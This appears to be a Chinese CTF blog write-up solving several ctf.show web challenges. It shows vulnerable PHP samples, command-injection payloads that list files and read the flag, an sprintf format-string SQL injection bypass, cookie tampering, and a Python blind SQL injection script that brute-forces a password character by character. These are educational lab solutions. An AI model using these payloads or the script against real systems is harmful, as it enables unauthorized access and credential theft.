本文最后更新于 11 天前,其中的信息可能已经有所发展或是发生改变。
Web
签到
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
进去就是源码
考察命令执行
?url=;ls;
?url=;cat flag;
用||也一样可以
给她
dirsearch扫一下,发现存在git文件
用GitHack扫一下,获得源码
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
sql限制,利用的原理是%1$\
为空,所以我们构造%1$'
单引号前的转义符会被置空(函数有漏洞)
?name=admin&pass=%1$' or 1=1--+
404了,但是提示了
flag in /flag
多了cookie,感觉像加密,解密后发现是flag.txt(hex)
感觉脑洞了,说flag在/flag下
那就对flag进行编码,然后替换它的cookie
成功得到flag
假赛生
提示:register.php login.php 大佬们别扫了
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>
审一下,就是要以admin身份呗,然后传参
但是直接注册admin不允许,这边用admin+空格绕过
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"
c不知道传啥,结果啥都不传,得到flag,居然还可以这样
萌新记忆
dirsearch扫一下,出现了登陆页
这边用户名直接试试了admin,密码随便,回显密码错误
说明用户名就是admin
fuzz一下,发现过滤了or,可以用||替代,注释符号也被过滤了
对密码进行爆破
import requests
url="http://4d08b415-e79f-4eb8-84dd-db10d57f5e8a.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(1,20):
for j in letter:
payload=f"'||substr(p,{i},1)<'{j}"
data={
'u':payload,
'p':1
}
res=requests.post(url=url,data=data).text
print(res)
if "密码错误" == res:
flag += chr(ord(j)-1)
print(flag)
break
-------------执行结果--------------
cptbtptpbcptdtptp//
说明密码是17位
解释一下脚本的payload:
payload="'||substr(p,{},1)<'{}".format(i,j)
data={
'u':payload,
'p':1
}
这个对u参数传入我们的payload,然后p参数随便输入的
其中'
是为了闭合u参数的(用于闭合原 SQL 语句中 username
部分的单引号,破坏原有的查询结构),
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
//这么展示一下应该就清晰明了了吧
也就是使得我们后面的爆破语句,可以实现对p参数的爆破,从而达到效果
脚本还是很简单的
数学及格了
进入不去网址,后面才知道是因为靶机炸了